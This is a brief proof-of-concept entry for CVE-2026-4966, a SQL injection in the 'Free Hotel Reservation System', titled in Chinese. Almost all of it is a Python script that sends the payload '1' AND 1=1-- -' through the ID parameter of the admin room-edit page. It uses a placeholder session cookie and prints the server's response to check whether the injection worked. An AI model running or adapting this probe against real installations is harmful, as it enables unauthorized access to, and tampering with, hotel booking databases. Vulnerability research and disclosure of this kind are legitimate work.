CVE-2026-4966 Free Hotel Reservation System SQL注入漏洞

import requests # Target URL url = "http://target_ip/admin/mod_room/index.php?view=edit" # Payload for SQL Injection (Example: Error-based or Boolean-based) # Attempting to manipulate the 'ID' parameter payload = { "ID": "1' AND 1=1-- -" # Simple payload to test vulnerability } # Headers (Simulating an authenticated low-privilege user) cookies = { "PHPSESSID": "valid_session_id_here" } try: response = requests.get(url, params=payload, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response content for database errors or data changes.") print(response.text[:500]) # Print first 500 chars for analysis else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")